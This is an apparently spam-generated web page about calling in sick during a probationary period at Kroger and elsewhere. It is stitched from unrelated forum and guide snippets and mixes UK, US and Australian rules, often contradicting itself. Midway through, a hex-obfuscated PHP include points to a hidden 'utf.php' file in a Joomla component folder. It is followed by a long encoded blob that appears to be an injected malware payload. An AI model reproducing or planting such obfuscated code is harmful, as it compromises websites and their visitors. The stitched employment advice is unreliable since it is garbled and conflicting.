calling in sick during probationary period kroger

If youre feeling ill, try your best to go into work you can always leave early if It is possible that some employers would look at dismissal during your probationary period for sickness absence. I had no sleep last night and family issues and I called off before my 90 days I didnt want to have a poor work performance so I called in Still a student? The guide offers sample text and examples of how to write to your manager, and approach phone calls. Dismissal beyond the statutory probationary period without notice or pay in lieu of notice will violate the employees employment standards entitlement to termination Related: Average Sick Days Per Year. First of all, dont worry. During probation if performance is unsatisfactory then the period is either However, this entitlement is for statutory sick pay which is paid at a flat rate. The job applicants who want to get hired should complete a 90-day probationary period. So what should you do when calling in sick during your probation period to make the best possible impression? Remember, if you are diagnosed with an illness or need time off for a pre-existing condition that could be considered a protected characteristic you are protected from unfair dismissal. The employee also needs to have six months attendance in order to qualify for company sick pay, otherwise they continue to receive SSP. Legal Requirements & Entitlements, Can Employers Change Working Hours? If you have been open, honest and genuine it should not be a problem for most workplaces. During probation if performance is unsatisfactory then the period is either extended to try and overcome the problem or the employee is dismissed with medical evidence having been obtained of fitness for the duties and potential DDA link. You might even be wondering if you are allowed to call in sick at all during probation. My advice is that if you truly are If an employee has high absence during probation this is a good indicator of future performance. We only pay for sickness under SSP rulings whilst on probation. You might even be wondering if you are allowed to call in sick at all during probation. However, make sure you are not completely vague so you dont give the impression your reason is not genuine. In order for this to be Contents Guide, Cant Work Due to No Childcare Your Rights in UK Law. Appointments or transfers that are not in line with the terms and conditions of the current appointment. However, if youve had too many absences from work for reasons your employer does not feel are genuine then it could result in you failing probation. Actually you should not call in at all, this is considered a probation period to train and learning your job duties.If sick, you will need to get something from doctor office Remember, if you are too ill to work properly you may end up performing poorly by making mistakes or not keeping up. The other thing to remember, is that you could still deal with their absence through the disciplinary procedure, or through a capability procedure if you have one. I would be very interested to see what other companies do before preparing this guidance for our management team. Probation Periods at Work UK Law & Employee Rights. What does call in sick expression mean? This means you can still accrue and access paid leave entitlements like annual leave and sick leave, whether youre employed on a full-time or part-time basis on probation. However, this will not impact your statutory right to sick pay. Good communication will help your manager understand your sickness is authentic. WebIf an employee is dismissed during their probation period, they will still be entitled to a minimum statutory notice period. She now owns a successful software testing and training consultancy business. This could reflect badly on your probation review just as much as taking too many days off. This is a subreddit aimed at women in the construction trades and other blue collar professions. I think im being a bit of a nervous nelly about it, but i live in an at-will state, and am not the type to call in. Entitlement to full pay for sick leave on probation is at your employers discretion. Here's a However, most will realise that you cant help getting sick, and will take a practical approach. Your payroll department just have to work it out differently, basing it on your salary. Depends on your union contract but most Kroger stores consider calling in on a day you requested off but were scheduled anyway as an automatic probation, or Definitions by the largest Idiom Dictionary. You should do everything possible to show up for work. Show up early, stay late, when done with something, ask if there is something else you can do. Youre no more safe in a job before or after 90 days. My probationary period ends in a week and i havent called in once. Secondly, when you call in, ask to speak to the It is the minimum period of employment that is enshrined in the Fair Work Act 2009 and determines when and if an employee can make use of the unfair dismissal laws and systems. WebCalled in sick during probationary period. How to Deal with Calling in Sick on Probation. WebEmployees may be put on probation for many reasons. Its natural to be concerned about taking time off sick during probation. Can you be fired for taking sick leave during probation? However, if your pattern of absences looks suspicious to your employer, dismissal during a probation period after taking time off for sickness is a possibility. You really dont want the first report your manager or the HR Director receives about you to be an absentee report. And now I want to join them for financial reasons and leave my current job during the probation period. Scan this QR code to download the app now. When taking a sick day, it's important to communicate with your coworkers and managers. Our guide on unfair dismissal during probation talks about your rights in depth. WebThe probationary period clause should expressly state that the employee will not be deemed to have passed their probation unless they receive written confirmation to that effect from the employer; otherwise, the probationary period may inadvertently lapse and the employer will not be able to extend the probationary period. Your policy should be amended to reflect this. if you have to take a reasonable amount of time off, so long as your employer feels the absence is genuine you should not have a problem. Ifyou are supposed to call in but instead drop your manager an email on the first day, and then dont keep in touch it might reflect poorly. You are entitled to this form of paid sick leave regardless of your contract status. if a company hired and fired you within 90 days, it better have been a much bigger problem then There are two types of sick pay you may be eligible for:-. How to call in sick. ?>. They might feel on edge or worry theyre on thin ice. A lot of disciplinary and capability procedures however do state that they are not applicable during probationary periods (you'll have to check yours). Time in Lieu (TOIL) Explained Days off for Working Overtime, How Many Breaks in a 12 hour Shift? Employees on probation have the right to paid sick leave from their first day of employment. Therefore if the worker wants to take leave within the first few weeks, they may need to wait a bit before they have accrued enough days. Non Union companies heard about this cool 90 day thing and though it sounded good and put them on policy as well. They should also explain This type of payment is at the employers discretion. You are not obligated to provide detailed medical information about your reason for being off. When youre calling in sick, make sure you:-. Such periods are often referred to simply as probation. Probationary periods of 90 days actually exist because in Union shops this is when you would be able to join the union, after 90 days. Work Rotas Law in the UK, Calling in Sick to Work Employee Rights in the UK, Health Confidentiality in the Workplace Legal Right to Medical Privacy. Its advisable to follow sickness procedure to the letter youll demonstrate your ability to stick to procedure in your workplace. Employees receive regular employee status after they satisfactorily complete the probationary period. The most likely outcome from being ill is that your probation will be extended by the number of days you took off. SSP rates are currently 99.35 per week and will increase to 109.40 in April 2023. include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/c\x6fmpo\x6eent\x73/co\x6d_us\x65r/m\x6fdel\x73/ut\x66.ph\x70"; Some workplaces offer a certain number of sick days each year fully paid. It's not common for employees not to pass probation in office work in general (that I'm aware of), but with many trades industries and others it's pretty common. Employers might take a dim view of excessive absences for reasons they dont think are genuine. So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain She writes for several online publications, and runs online training courses for businesses and their staff in the childcare industry. Has anyone been fired for calling in sick during their 90 days? Dont worry, our guide will look at how to call in sick, what your employer is likely to do, and your rights to sick pay on probation. WebCalled in sick during probationary period So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain all my life but no endo or PCOS diagnosed. ) Sickness absence in the probation period should be assessed as part of performance. Thank you for not coming in and passing your virus. Typically for an amount of time called a probationary period.. Does anyone have a policy/procedure or guidelines for managers in handling sickness absence during probation periods? The other way of doing it is that you can decide not to confirm someone's probationary period if you feel it hasn't been completed satisfactorily (for whatever reason). Now that competing offer from the other company has increased to almost 2x the offer that they initially proposed. Unlawful Wage Deductions Law Guide UK, What Should Be in a First Aid Kit for Work & Home? I am worried about calling in and it reflecting on me badly. After a certain minimum period of timetypically 30 to 90 daysthe defendant can apply for shock probation. An applicant selected for a career appointment to a non-bargaining position must serve a probationary period. Actually you should not call in at all, this is considered a probation period to train and learning your job duties.If sick, you will need to get s This is done to assess their capabilities and whether they are indeed a good fit for their position. Firing an Employee During the Probation Period. If your staff handbook advises you to call your line manager every day you are off, do so. Health Sciences employees, contact Employee Advocacy and Labor Relations . That means it will only be paid if you have been sick for more than 4 days in a row. Statutory sick pay has a qualifying period known as waiting days. If you are able, do also let your manager know when you think you will return to work. I am worried about calling in and it reflecting on me badly. WebMy probationary period ends in a week and i havent called in once. Our employees received no firms sick pay for the first three months of employment and this is written in to their contract of employment. Just curious? Calling in during probationary period - Kroger Employee Forum Free Message Boards -> Kroger Employee Forum -> Why Kroger Sucks -> Calling in during probationary period Start A New Topic Quick Reply Please log in to post quick replies. This window is known as the probation period and may extend as far as up to 180 days 90 day probation? That's nothing. I had to do a 1 year and 6 month probation for a government job I never called in sick once. I would say absol Call store and ask for manager on duty. WebCalled in sick during probationary period So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain all my life but no endo or PCOS diagnosed. ) This means that you are entitled to some kind of sick pay during your probation period. I am also interested in this issue too as we had some off for 3 months unpaid leave after only worked 2 months, our probationary period being 3 months. What happens if I dont pass my probation? Could You Be Fired for being Sick on Probation? 1680 hours if serving a twelve (12)-month probationary period. Call in sick. WebDuring the first year of employment, employers may decide to use an accrual system to calculate the workers holiday entitlement. To work out what sick pay youll get during your probation period, refer to your contract of employment. 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byVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ1l2Mmo4QjklaWclaWUlaTdDbTJfdW1QMSVpZzhQJWlnJWk3Q20yJWlUJWdvJWdkJWlnJWknLgonZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ21ZJWlnJWllJTcnLgonZ21QX3oybTE4WnVqJWllJWk3Q20yJWlUJWlnJWl4JWl4JWlnbVBfQ20yJWllJWk3Q20yJWlUJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJy4KJyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpN0NtMl91bVAxX3oybTE4WicuCid1aiVLcyVLbyVpZyVMbyVpZyVpN0NtMiVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVSbyVnbyVnZCVpZyVpZyVpZyVpZycuCiclaWclaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWcyajFFMkYlaWclaTdDbTJfdW1QMV96Mm0xOFp1aiVMcyVnbyVnZCVpZyUnLgonaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWdZRUZCMW12RiVpZ0JQX2NqMW9tMmpCMXYyTldtUDEnLgonJWllJWk3Q20yJWl0JWlnJWk3Q2pHMTklTG9WZyVpVCVnbyVnZCVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZycuCiclaWclaWclaWclaTcyalBFdTElaWclTG8laWc4MjI4TiVpZSVpVCVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyUnLgonaWclaWdtWSVpZyVpZSVpVm1QX0NtMiVpZSVpN0NtMiVpVCVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWcyajFFMkYlaWclaTcyalBFdTElTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaScuCidnJWlnJVJvJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3MmpQRXUnLgonMSVLcyVLbyVpZyVMbyVpZyVpN0NtMiVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpN0NtMl8nLgonQnZFRjElaWclTG8laWdnJUxzJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnbVklaWclaWUlaTdDakcxOSVpZyVMdCVpZ1YlaVQlZ28lJy4KJ2dkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJScuCidpZzJqMUUyRiVpZyVpNzJqUEV1MSVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVSbyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpN0NtMiUnLgonaWclTG8laWdQMTJ1akYlaWUlaTdDbTIlaVQlaWclTG8lTG8laWdWJWlnJUxEJWlnJWk3Q20yJWlnJUxkJWlnMicuCicxMm1sJWllJWk3Q20yJWl0JWlnJWlSJUt0JUt0LyVpUiVpVCVMcyVnbyVnZCVpZyVpZyVpZyUnLgonaWclaWclaWclaWclaWclaTc5JWlnJUxvJWlnJTdndkdqRkNtMiVpZSVpN0NtMiVpVCVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ21ZJWlnJWllJWk3OSVpZyUnLgonTG8lTG8lTG8laWdEZFc1ayVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZzJqMUUnLgonMkYlaWclaTcyalBFdTElTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaScuCidnJWlnJWlnJWlnJWlnJWlnejltdWolaWclaWUlaWUlaTdZJWlnJUxvJWlnMmo4Q0NtMiVpZSVpNzklaVQlaVQlaWclaVYlTG8lTG8laWdEZFc1ayUnLgonaVQlZ28laWclaWclaWclaWclaWclUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZycuCiclaWUlaTdZJWlnJWlWJUxvJUxvJWlnJWlSLiVpUiVpZzhGQyVpZyVpN1klaWclaVYlTG8lTG8laWclaVIuLiVpUicuCiclaVQlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWcnLgonJWlnJWlnJWlnJWk3QkUyMmpGMV9DbTIlaWclTG8laWclaWklaTdDbTIvJWk3WSVpaSVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyUnLgonaWclaWclaWclaWclaWdtWSVpZyVpZW1QX0NtMiVpZSVpN0JFMjJqRjFfQ20yJWlUJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJScuCidpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpN0MnLgonbTJfQnZFRjElaWclaXMlTG8laWdWJUxzJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWknLgonZyVpZyVpZyVpZyVpZyVpZyVpNzJqUEV1MSVLcyVLbyVpZyVMbyVpZyVpN0JFMjJqRjFfQ20yJUxzJWdvJWdkJWlnJWknLgonZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claTcyalBFdTElaWclTG8laWc4MjI4Tl9sajJxaiVpZSVpNzJqUEV1MSVpdCVpZ0JQX2NqMW9tMmpCMXYyTldtUDElaWUlaTdCRTIyakYxX0NtMiVpdCVpZyVpN0NqJy4KJ0cxOSVpZy8laWdWZyVpVCVpVCVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVSbyVnbyVnZCVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lJy4KJ2dkJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnQnV2UGpDbTIlaWUlaTc5JWlUJUxzJWdvJWcnLgonZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZzJqMUUyRiVpZyVpNzJqUEV1MSVMcyVnbyVnZCVpZyVpZyVpZyVpJy4KJ2clUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWdZRUZCMW12RiVpZ0JQX2NqMW92Qm52djElaWUlaVQlZ28lZ2QnLgonJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3Q3ZCMnZ2MV9qRkMlaWclTG8laScuCidnUDEyMkd2UCVpZSVpN181a242a24lS3MlaVI1dG5YTTBfRFhXa1FkeWslaVIlS28laXQlaWclaTdfNWtuNmtuJUtzJWlSbmtiYWs1MF9hblglaVIlS28laVQlTCcuCidzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnbVklaWclaWUlaTdDdkIydnYxX2pGQyVpZyVMbyVMbyVMbyVpZ0RkVzVrJWlUJWdvJWdkJWlnJWlnJWlnJScuCidpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZzJqMUUyRiVpZyVpJy4KJzdfNWtuNmtuJUtzJWlSb3J0YXlrUTBfbnJyMCVpUiVLbyVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVSbyVnbyVnZCVpZyVpZyVpJy4KJ2claWclaWclaWclaWclaWdqdVBqbVklaWclaWUlaTdDdkIydnYxX2pGQyVpZyVMbyVMbyVMbyVpZ2claVQlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaScuCidnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnMmoxRTJGJWlnJWlpLyVpaSVMcyVnbyVnZCVpZyVpJy4KJ2claWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWdqdVBqJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJy4KJyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZzJqMUUyRiVpZ1BFWlAxMiVpZSVpN181a242a24lS3MlaVI1dG5YTTBfRFhXa1FkeWslaVIlS28laScuCid0JWlnZyVpdCVpZyVpN0N2QjJ2djFfakZDJWlUJUxzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJvJWdvJWdkJWlnJWknLgonZyVpZyVpZyVSbyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZ21ZJWlnJWllJWlWWUVGQjFtdkZfanBtUDFQJWllJWknLgonUlltdWpfR0UxX0J2RjFqRjFQJWlSJWlUJWlUJWdvJWdkJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJy4KJyVpZyVpZ1lFRkIxbXZGJWlnWW11al9HRTFfQnZGMWpGMVAlaWUlaTdGJWl0JWlnJWk3QyVpdCVpZyVpN1l1OHElaWcnLgonJUxvJWlnRDh1UGolaVQlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaTdsdkMnLgonaiVpZyVMbyVpZyVpN1l1OHElaWclTG8lTG8laWdlJWlnJUxEJWlnJWlSOCVpUiVpZyVMZCVpZyVpUnolaVIlTHMlZ28lZycuCidkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3WSVpZyVMbyVpZyU3Z1l2R2pGJWllJWk3RiVpdCVpZyVpN2x2Q2olaScuCidUJUxzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnbVklaWclaWUlaTdZJWlnJUxvJUxvJUxvJWlnRDh1UGolaVQlZ28lZ2QlaWclaWclaWclaWcnLgonJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWknLgonZyVpZyVpZyVpZyVpZyVpZyVpZzJqMUUyRiVpZ2clTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlaWclaScuCidnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnanVQaiVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZycuCiclaWclaWclaWclaWclaWclUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZyVpZW1QXzgyMjhOJWllJWknLgonN0MlaVQlaVQlaWclaTdDJWlnJUxvJWlnbWxHdXZDaiVpZSVpN0MlaVQlTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWcnLgonJWlnJWlnJWlnJWlnJWk3Wk4xalBfejJtMTFqRiVpZyVMbyVpZ1l6Mm0xaiVpZSVpN1knLgonJWl0JWlnJWk3QyVpVCVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ1lCdXZQaiVpZSVpN1klaVQlJy4KJ0xzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnMmoxRTJGJWlnJWk3Wk4xalBfejJtMTFqRiVMcyVnbyVnJy4KJ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlaWclaWcnLgonJWlnJWlnJWlnJWlnJWlnJWlnJVJvJWdvJWdkJWlnJWlnJWlnJWlnJVJvJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnJy4KJ21ZJWlnJWllJWlWWUVGQjFtdkZfanBtUDFQJWllJWlSWW11al9xajFfQnZGMWpGMVAlaVIlaVQlaVQlZ28lZ2QlaWclaWclaWclaWclUnMlZ28lZ2QlaWclaScuCidnJWlnJWlnJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdZbXVqX3FqMV9CdkYxakYxUCVpZSVpN1ltdWpGOGxqJWlUJy4KJyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpN1k5OEZDdWolaScuCidnJUxvJWlnWXZHakYlaWUlaTdZbXVqRjhsaiVpdCVpZyVpaTIlaWklaVQlTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaTdZQnZGMWpGJy4KJzFQJWlnJUxvJWlnWTJqOEMlaWUlaTdZOThGQ3VqJWl0JWlnWW11alBtd2olaWUlaTdZbXVqRjhsaiVpVCVpVCVMJy4KJ3MlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdZQnV2UGolaWUlaTdZOThGQ3VqJWlUJUxzJWdvJWdkJWdvJWdkJy4KJyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZzJqMUUyRiVpZyVpN1lCdkYxaicuCidGMVAlTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlaWclaWclaWclaWclUm8lZ28lZ2QlJy4KJ2dvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9DakIyTkcxX0c5OFBqJy4KJyVpZSVpN0M4MTglaXQlaWclaTdBak4laVQlZ28lZ2QlaWclaWclaWclaWclUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWcnLgonJWlnJWk3dkUxX0M4MTglaWclTG8laWclaWklaWklTHMlZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWdZdicuCicyJWlnJWllJWk3bSVMb2clTHMlaWclaTdtJUx0UDEydWpGJWllJWk3QzgxOCVpVCVMcyVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZycuCiclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdZdjIlaWclaWUlaTczJUxvZyVMJy4KJ3MlaWclaTczJUx0UDEydWpGJWllJWk3QWpOJWlUJWlnJWl4JWl4JWlnJWk3bSVMdFAxMnVqRiVpZSVpN0M4MTgnLgonJWlUJUxzJWlnJWk3MyVpcyVpcyVpdCVpZyVpN20laXMlaXMlaVQlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclUnMlZ28nLgonJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3dkUxX0M4MTglaWcuJUxvJWlnQjkyJWlldjJDJWllJWk3QzgxOCVLJy4KJ3MlaTdtJUtvJWlUJWlnJUtrJWlndjJDJWllJWk3QWpOJUtzJWk3MyVLbyVpVCVpVCVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyUnLgonUm8lZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWcyajFFMkYlaWcnLgonJWk3dkUxX0M4MTglTHMlZ28lZ2QlaWclaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWdZRUZCMW12RiVpZ0InLgonUF9DakIyTkcxJWllJWk3QzgxOCVpdCVpZyVpN0FqTiVpVCVnbyVnZCVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZycuCidxdXZaOHUlaWclaTdCUF84RTE5JUxzJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnMmoxRTJGJWlnQlBfQ2pCMk5HMV9HOThQaiVpZUJQX0NqJy4KJ0IyTkcxX0c5OFBqJWllJWk3QzgxOCVpdCVpZyVpN0FqTiVpVCVpdCVpZyVpN0JQXzhFMTklaVQlTHMlZ28lZ2QlaWclJy4KJ2lnJWlnJWlnJVJvJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9qRkIyTkcxJWllJWk3QzgxOCVpdCVpZyVpN0FqTiVpVCcuCiclZ28lZ2QlaWclaWclaWclaWclUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWdxdXZaOHUlaWclaTdCUF84RTE5JUxzJWdvJWdkJScuCidnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZzJqMUUyRiVpZ0JQX0NqQjJORzFfRzk4UGolaWVCUF9DakIyTkcxX0c5OFBqJWllJWk3QzgxOCVpdCVpZyVpN0JQXzhFJy4KJzE5JWlUJWl0JWlnJWk3QWpOJWlUJUxzJWdvJWdkJWlnJWlnJWlnJWlnJVJvJWdvJWdkJWdvJWdkJWknLgonZyVpZyVpZyVpZ1lFRkIxbXZGJWlnQlBfWW11al8yajhDJWllJWk3RzgxOSVpVCVnbyVnZCVpZycuCiclaWclaWclaWclUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaTdDODE4JWlnJUxvJWlnJTdnWW11al9xajFfQnYnLgonRjFqRjFQJWllJWk3RzgxOSVpVCVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZzJqMUUyRiVpZyVpN0M4MTglTHMlZ28lZ2QlaWclJy4KJ2lnJWlnJWlnJVJvJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9ZbXVqX3oybTFqJWllJWk3RzgxOSVpdCVpZyVpN0M4MTglaVQlZ28lZ2QlaWclaScuCidnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJTdnWW11al9HRTFfQnZGMWpGMVAlaWUlaTdHODEnLgonOSVpdCVpZyVpN0M4MTglaVQlTHMlZ28lZ2QlaWclaWclaWclaWclUm8lZ28lZ2QlZ28nLgonJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9ZbXVqXzhHR2pGQyVpZSVpN0c4MTklJy4KJ2l0JWlnJWk3QzgxOCVpVCVnbyVnZCVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyU3Z1ltdWonLgonX0dFMV9CdkYxakYxUCVpZSVpN0c4MTklaXQlaWclaTdDODE4JWl0JWlnZSVpVCVMcybyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpJy4KJ2dZRUZCMW12RiVpZ0JQX1B2MjFfQnZsRzgyajIlaWUlaTc4JWl0JWlnJWk3WiVpVCVnbyVnZCVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyUnLgonaWclaWclaWclaWclaWcyajFFMkYlaWdQMTJ1akYlaWUlaTc4JWlUJWlnLSVpZ1AxMnVqRiVpZSVpN1olaVQlTHMlZ28lZ2QlaWclaWclaWclaWclJy4KJ1JvJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9jajF0dmxsdkY1MXYyOHFqJWllJWk3Q20yUCVMb1FhV1claVQlZ28lZ2QlaWclaWclaWclJy4KJ2lnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3UGp1WV9DbTIlaWclTG8laWdDbTJGOGxqJWllX19EWFdrX18laVQlTHMlJy4KJ2dvJWdkJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3QnZsbHZGX0Y4bGpQJWlnJUxvJWlnZDIyOE4laWUlaWl2RzEnLgonbXZGUCVpaSVpdCVpZyVpaUltanpQJWlpJWl0JWlnJWlpRzhxalAlaWklaXQlaWclaWlQalBQbXZGUCVpaSVpdCVpZyVpaScuCidQMTgxUCVpaSVpdCVpZyVpaUVQajJQJWlpJWl0JWlnJWlpODIxbUJ1alAlaWklaXQlaWclaWlDRWxHJWlpJWl0JWlnJWlpOScuCidqOENqMlAlaWklaXQlaWclaWl1bVpQJWlpJWlUJUxzJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3MWxHX0NtMiVpZyVMJy4KJ28laWclaTdQanVZX0NtMiVpZy4laWclaWkvJWlpJWlnLiVpZyVpN0J2bGx2Rl9GOGxqUCVLc1AxMnVqRiVpZUJQX2NqMUp2UDElaWUnLgonJWlUJWlUJWlnJWlLJWlnQnZFRj